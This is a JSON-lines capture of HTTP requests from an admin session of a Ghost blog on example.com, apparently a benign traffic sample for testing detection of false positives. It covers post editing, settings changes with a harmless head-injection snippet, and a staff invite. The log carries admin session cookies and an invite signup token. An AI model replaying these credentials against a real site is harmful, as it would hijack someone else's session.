\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=id%3A6af458a5d281b00001a59969&limit=1&include=authors%2Cnewsletter%2Cemail", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished&limit=1", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/stats/posts-member-counts/", "headers": ["Host: example.com", "Content-Length: 67", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"postIds\":[\"6af458a5d281b00001a59969\",\"6af45710d281b00001a598a4\"]}"}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/tag-detail-BzYiFRvZ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/breadcrumb-zc_bvTJr.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/detail-page-mfw0499d.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/users/?limit=100&include=roles", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/invites/?limit=100&include=roles", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/roles/?limit=100", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/tiers/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/automated_emails/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/metafields/custom/?filter=status%3A%5Bactive%2Carchived%5D", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/newsletters/?include=count.active_members%2Ccount.posts&limit=50", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/recommendations/?include=count.clicks%2Ccount.subscribers&order=created_at+desc&limit=5", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/incoming_recommendations/?limit=5&order=created_at+desc", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/stats/referrers/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/integrations/?include=api_keys%2Cwebhooks&limit=50", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/design-settings-R1OjGW68.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/network-C2Wz-Sfw.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/explore-default-logo-P7UjmPqe.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/integrations-settings-Ba5Zx8yQ.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/pintura-CXOmq-5H.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/mailchimp-Ds_NQ04w.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/members-D1Y_hke9.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/member-route-BZwzEPZL.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/filters-2r-Nhhaw.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/classApi-G56FoJgF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/filter-operator-options-DxNDR7Tm.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/map-atlas-DafQOER4.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/create-custom-field-popover-Dr-RhlK0.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/labels/?limit=100&order=name+asc", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/newsletters/?filter=status%3A-archived&limit=50", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/?include=labels%2Ctiers&limit=100&order=created_at+desc", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/world-states-CbpvhpIU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/assets/map-atlas-DafQOER4.js", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/settings/", "headers": ["Host: example.com", "Content-Length: 168", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"settings\":[{\"key\":\"title\",\"value\":\"Example Blog: python3 & powershell notes\"},{\"key\":\"description\",\"value\":\"Shell tips: ls -la, .htaccess, python3 and powershell.\"}]}"}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/code-editor-view-CSIPkKHC.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/settings/", "headers": ["Host: example.com", "Content-Length: 417", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"settings\":[{\"key\":\"codeinjection_head\",\"value\":\"<meta name=\\\"google-site-verification\\\" content=\\\"example-verification-token\\\">\\n<link rel=\\\"preconnect\\\" href=\\\"https://fonts.example.com\\\">\\n<style>:root { --ghost-accent-color: #2a6f97; } .gh-head { border-bottom: 1px solid #eee; }</style>\"},{\"key\":\"codeinjection_foot\",\"value\":\"<div class=\\\"site-note\\\">Hosted notes on python3, powershell and .htaccess.</div>\"}]}"}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/invite-user-modal-DjWUlzA-.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/roles/?limit=100&permissions=assign", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/invites/", "headers": ["Host: example.com", "Content-Length: 120", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"invites\":[{\"email\":\"bob@example.com\",\"role_id\":\"6af4570fd281b00001a59895\",\"expires\":null,\"status\":null,\"token\":null}]}"}
|
|
||||||
{"method": "GET", "target": "/ghost/signup/MTc5NTAwNDAzNzc2OHxib2JAZXhhbXBsZS5jb218SXM2SEhaTi9vQ0ZMQ0oyay90WmYyTmpEMUdhWjhENExOd2xuTkliYlFBMD0/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/signup-sKkAjHyM.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/authentication/invitation/?email=bob%40example.com", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
